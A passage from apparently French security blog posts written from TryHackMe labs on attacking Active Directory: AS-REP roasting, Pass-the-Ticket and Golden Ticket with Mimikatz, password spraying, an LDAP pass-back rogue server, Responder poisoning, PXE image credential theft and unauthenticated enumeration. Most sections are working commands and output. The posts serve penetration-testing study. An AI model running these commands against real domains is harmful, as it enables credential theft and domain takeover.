      E8990BFD09E3BCBA1DB17284BD9A091B7582473D60A713263FF35583845509C2753E65494686B8B0
      2D9745BE31FA0A14F3695F1A4EE871957BC22CE4766DD415DBC45D35D8E2118823A9CD053F69477D
      315280EB554903E53E60C8177456BFECE2BEE62B47F259FFD87F84878B6CE3B80E1CB4A0C06

Nous devons ajouter le hash dans un fichier (ex: hashasrep.txt), une fois dedans, nous devrons modifier le hash. Juste après le $krb5asrep$ nous devons rajouter un 23$ Ensuite, pour cracker ce mot de passe il faut lancer l’outil hashcat (encore) avec le mode 18200 :

`1`	`hashcat -m 18200 hashasrep.txt Pass.txt`

Pass The Ticket

L’attaque Pass The Ticket consiste à extraire les Tickets de la mémoire LSASS (Local Security Authority Subsystem Service) de la machine. LSASS est un processus en mémoire qui stocke les informations d’identification sur un serveur Active Directory et peut conserver des tickets. Il agit comme un coffre fort.

L’attaque Pass The Ticket est particulièrement efficace pour l’élévation de privilèges et le mouvement latéral si des tickets de comptes de service du domaine non sécurisés sont disponibles.

Pour réaliser cette attaque nous utiliserons Mimikatz. Mimikatz est un outil extrêment puissant, je ferais un aticle dédié à cet outil.

Tout d’abord il faut télécharger mimikatz :

wget https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20220919
# Il faut dézipper le fichier
cd x64
./mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
  ## v ##       Vincent LE TOUX             ( vincent.letoux@gmail.com )
   #####        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export

Cette dernière commande va nous sortir des fichier en .kirbi.

Nous pouvons donc passer à l’exploitation de l’attaque PTT. Toujours dans mimikatz nous allons choisir un fichier qui nous intéresse (dans ce qu’on vient d’extraire avec mimikatz), à tout hazard un qui m’intéresse est le fichier suivant :

[0;3e7]-2-1-40e10000-CONTROLLER-1$@krbtgt-CONTROLLER.LOCAL.kirbi

Ce qui va nous donner :

mimikatz # kerberos::ptt [0;3e7]-2-1-40e10000-CONTROLLER-1$@krbtgt-CONTROLLER.LOCAL.kirbi 

* File: '[0;3e7]-2-1-40e10000-CONTROLLER-1$@krbtgt-CONTROLLER.LOCAL.kirbi': OK

mimikatz # exit

klist
Current LogonId is 0:0x207204

Cached Tickets: (1)

#0>     Client: CONTROLLER-1$ @ CONTROLLER.LOCAL
        Server: krbtgt/CONTROLLER.LOCAL @ CONTROLLER.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 3/27/2026 6:03:17 (local)
        End Time:   3/27/2026 16:03:17 (local)
        Renew Time: 4/3/2026 6:03:17 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

Avec la commande klist nous pouvons voir que nous avons “voler” l’identité du compte krbtgt.

Golden/Silver Ticket

Un Golden Ticket est un ticket forgé et signé avec le Hash NT que nous aurons dump au préalable, un Silver Ticket est la même chose mais pour un compte de service ou d’admin du domaine.

Cette extraction permet d’obtenir :

SID de l’utilisateur cible
le hash du mot de passe du la cible

Pour cette attaque, nous utiliserons Mimikatz.

mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
  ## v ##       Vincent LE TOUX             ( vincent.letoux@gmail.com )
   #####       > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug 
Privilege '20' OK

mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860 

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    NTLM : 72cd714611b64cd4d5550cd2759db3f6
    LM   :
  Hash NTLM: 72cd714611b64cd4d5550cd2759db3f6 
    ntlm- 0: 72cd714611b64cd4d5550cd2759db3f6
    lm  - 0: aec7e106ddd23b3928f7b530f60df4b6
[...]

Maintenant nous avons les infos dont nous avons besoin, nous pouvons donc forger notre Golden Ticket avec les infos suivantes :

SID : S-1-5-21-432953485-3795405108-1502158860

hash NTLM : 72cd714611b64cd4d5550cd2759db3f6

1
2
3

Kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:1103

misc::cmd

Et voilà nous avons exploité l’attaque Golden/Silver Ticket.

Skeleton Key

L’attaque Skeleton Key exploite le mécanisme de pre-authentification de kerberos (à la toute première étape AS-REQ) en manipulant les timestamp chiffrés. Comme expliqué plus tôt, le timestamp est chiffré avec le hash NT de l’utilisateur.

Une fois qu’une Skeleton Key est implantée sur le contrôleur de domaine, celui-ci essaie de déchiffrer l’horodatage à la fois avec le hachage NT de l’utilisateur et avec le hachage NT de la Skeleton Key. Cela permet à un attaquant d’accéder à l’ensemble du domaine sans connaître le mot de passe réel des utilisateurs, car le contrôleur de domaine accepte désormais deux clés de déchiffrement.

Merci à Christopher THIEFIN (ProcessusThief) d’avoir relu cette article afin de corriger quelques fautes.

AD - Compromission

Thu, 26 Mar 2026 00:00:00 +0000

AD : Trouver la faille

OSINT

OSINT pour Open-Source INTelligence (ou renseignement en source ouvert en français) c’est le fais de rechercher des informations présent sur le web. Cela permet d’avoir des informations plus ou moins privé que la personne aurait pu faire “fuité”. Dans le cas d’un AD, on peut penser à des forums où l’admin aurait pu laisser fuité des creds sans faire exprès, pareil pour tout ce qui est GitHub. Ensuite on peut aller voir dans des leaks de BDD

Spear-phishing

Le Spear-Phishing est un phishing mais (et toutes les autres formes qui existe comme le vishing par exempe) ciblé, donc nous allons prendre en compte les passes temps de l’admin pour qu’il tombe dans le piège. Le but derrière est de récupérer les identifiants admin ou même faire installer une application malveillante à l’admin.

NTLM

NTLM pour New Technology LAN Manager est une suite de protocole utilisé pour identifier l’identité des utilisateurs dans un AD. Ce protocole repose sur un challenge puis une réponse.

Malgrès toutes ses vulnérabilitées, NTLM reste largement déployé même sur les nouveaux systèmes, car il reste compatible avec les anciens équipement.

Attaquer NTLM : Password Spraying

Un password spraying est une attaque qui consiste à utiliser des mots de passe connu, car présent dans un leak ou juste présent car souvent utilisé (comme Password123 par exemple)

`1`	`crackmapexec smb 10.211.11.20 -u users.txt -p passwords.txt`

-u : Désigne une liste d’utilisateur ou un seul, pas obligé de mettre un fichier juste le username suffit.
-p : Désigne la liste de mot de passe.

LDAP

LDAP (Lightweight Directory Access Protocol) est un protocole d’identification similaire à NTLM. L’authentification LDAP est similaire à l’authentification NTLM. Cependant, avec LDAP, l’application vérifie directement les identifiants de l’utilisateur. Elle dispose d’une paire d’identifiants AD qu’elle peut utiliser d’abord pour interroger LDAP, puis pour vérifier les identifiants de l’utilisateur AD. Le souci avec LDAP est que les mêmes attaques sont possible que sur NTLM et ces identifiants sont directement lié à un AD.

Attaquer LDAP : Pass-Back

Cette attaque consiste à créer serveur LDAP malveillant, ce qui va forcer l’appareil à tenter une authentufucation LDAP vers notre serveur malveillant. Nous pourrons donc intercepter cette tentative d’authentification.

Elle va se réaliser sur un appareil réseau, ou sur une imprimante du réseau, vu que ces appareils on souvent les identifiants par défaut il suffit de se loggé dessus, changer le serveur LDAP puis de renvoyer une requête.

Pour réaliser cette attaque il faut créer un serveur LDAP comme ce qui suit :

`1`	`sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd`

Voila la configuration :

sudo dpkg-reconfigure -p low slapd
> No
> $DOMAIN
> $DOMAIN
> password
> password
> MDB
> No 
> Yes

Une fois le serveur malveillant déployé nous pouvons le tester :

ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: DIGEST-MD5
supportedSASLMechanisms: CRAM-MD5
supportedSASLMechanisms: NTLM

Maintenant nous devons faire en sorte de downgrade le méchanisme d’authentification :

nano olcSaslSecProps.ldif

#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: LOGIN
supportedSASLMechanisms: PLAIN

Une fois ça fait il suffit de lancer une capture avec tcpdump :

`1`	`sudo tcpdump -SX -i breachad tcp port 389`

Nous y verrons la tentative d’authentification passer en clair grâce au LOGIN,PLAIN déclaré avant.

LLMNR, NBT-NS & WPAD

Pour exploiter ces protocole nous pouvons utiliser l’outil responder, qui va nous servir de Man In The Middle en empoisonnat les réponse lors de l’authentification. Pour ça nous allons utiliser l’outil responder :

`1`	`responder -I <interface-réseau>`

Une fois le hash du mot de passe récupéré, nous pouvons le cracker grâce à hashcat.

MDT et SCCM

MDT et SCCM sont des d’automatisation de parc informatique, MDT (Microsoft Deployment Toolkit) permet d’automatiser le déploiement des machines et SCCM (System Center Configration Manager) va permettre de gérer les mises à jour d’application Microsoft, services et systèmes. MDT est intégré dans SCCM

PXE Boot

Quand un client obtiens une IP auprès du DHCP, il va envoyer une requête PXE Boot au MDT pour booter desssus. Nous pouvons voir quelle image contient le MDT en recherchant l’IP ou le nom DNS de la machine.

Les fichiers images se trouveront dans les fichiers avec l’extension .bcd. Nous pouvons récupérer ces fichiers pour en extraire des creds admin. Il suffit de recupérer un fichier .bcd en TFTP.

tftp -i <MDTIP> GET "\Tmp\x64{...}.bcd" conf.bcd
powershell -executionpolicy bypass
git clone https://github.com/wavestone-cdt/powerpxe.git
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile

Cette dernière commande va nous retourner un chemin finissant par un fichier en .wim. Nous finirons l’exploitation avec les commandes suivantes :

1
2

tftp -i <MDTIP> GET "<PXE Boot Image Location>" pxeboot.wim
Get-FindCredentials -WimFile pxeboot.wim

Les identifiants nous serons retourné sous cette commaande de cette forme :

>> Open pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\MDT\MTDBuildLab$
>>>> >>>> UserID = <account>
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = <password>

AD - Enumération sans authentification

Thu, 26 Mar 2026 00:00:00 +0000

AD : Enumération sans authentification

Host Discovery

Vu que nous n’avons pas d’information concernant le réseau nous devons le scanner afin de découvrir ce que nous avons à notre disposition, pour cela, nous pouvons utiliser Nmap :

nmap -sn 10.211.11.0/24
Nmap scan report for 10.211.11.10
Host is up (0.019s latency).
Nmap scan report for 10.211.11.20
Host is up (0.018s latency).
Nmap scan report for 10.211.11.250
Host is up (0.020s latency).

-sn : simple ping pour savoir quel host est up

Port AD

Pour détecter un AD sur le réseau nous pouvons tester les port suivants :

Port	Protocole
88	Kerberos
135	MS-RPC
139	SMB/NetBIOS
389	LDAP
445	SMB
464	Kerberos (kpasswd)

Pour ça nous pouvons à nouveau utiliser nmap avec la commande suivante :

`1`	`nmap -p 88,135,139,389,445 -sV -sC -iL hosts.txt`

-sV : Active la détection de version
-sC : Lancement des script basique de nmap (NSE)
-iL hosts.txt : Va tester les IPs présentes dans le fichier “hosts.txt”

Pour rediriger la sortie de cette commande nous pouvons utiliser l’argument -oN suivi du nom du fichier de redirection ce qui donne la commande suivante :

`1`	`nmap -p 88,135,139,389,445 -sV -sC -iL hosts.txt -oN out-nmap.txt`

Enumération SMB

Si dans notre précédent scan nous voyons les ports 139, 445 ouvert, il y a probablement un serveur SMB sur la machine. Nous pouvons donc essayer le voir quels partage sont préseant avec la commande suivante :

`1`	`smbclient -L //10.211.11.10 -N`

-L : Liste le partage
//10.211.11.10 : IP qui nous intéresse
-N : Sans mot de passe

Nous pourrons y voir les partages présent, voici un exemple de sortie de commande (exemple tiré de la room adbasicenumeration de TryHackMe, room ou je suis actuellement pour écrire ce poste) :

smbclient -L //10.211.11.10 -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        AnonShare       Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SharedFiles     Disk      
        SYSVOL          Disk      Logon server share 
        UserBackups     Disk

Pour lister et exploiter des partages SMB nous pouvons également utiliser des outils comme smbmap ou encore enum4linux.

Enumération LDAP

ldapsearch

Voici un exemple d’utilisation :

`1`	`ldapsearch -x -H ldap://10.211.11.10 -s base`

-x : Aunthentification simple, ici en anonyme
-H : Donne le serveur LDAP
-s : Donne la limite des requête, ici base = pas de sous-arbres ou d’objet enfant

Voici l’utilisation et le résultat de cette commande :

ldapsearch -x -H ldap://10.211.11.10 -s base

dn:
domainFunctionality: 6
forestFunctionality: 6
domainControllerFunctionality: 7
rootDomainNamingContext: DC=tryhackme,DC=loc
ldapServiceName: tryhackme.loc:dc$@TRYHACKME.LOC
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
[...]

Pour avoir des informations sur les utilisateurs nous pouvons utiliser la commance :

`1`	`ldapsearch -x -H ldap://10.211.11.10 -b "dc=tryhackme,dc=loc" "(objectClass=person)"`

for i in $(seq 500 2000); do echo “queryuser $i” |rpcclient -U "" -N 10.211.11.10 2>/dev/null | grep -i “User Name”; done

enum4linux-ng

Voici l’utilisation de cet outil :

`1`	`enum4linux-ng -A 10.211.11.10 -oA results.txt`

-A : Enumération de tout ce qui est possible
-oA results.txt : Met le résultat de la commande dans le fichier “results.txt”

Cet outil nous donne énormément d’infos, il va lister les utilisateurs, les groupes, les informations systèmes de l’AD, les partages SMB …

Enumération DNS

Pour voir qui fais office de serveur DNS sur le réseau, nous pouvons lancer l’outil nmap avec les arguments suivants :

--scrip dns-srv-enum
--script-args dns-srv-enum.domain="<DOMAIN>"

Ce qui donne la commande suivante :

`1`	`nmap --script dns-srv-enum --script-args dns-srv-enum.domain="TRYHACKME.LOC"`

Toujours avec l’outil nmap nous pouvons simplement scanner tout le réseau sur le port 53 en TCP et UDP avec les commandes suivante :

1
2

nmap -sV -p 53 "10.211.11.0/24"
nmap -sV -sU -p 53 "10.211.11.0/24"

-sV : Active la détection de version
-sU : Déclare le protocole UDP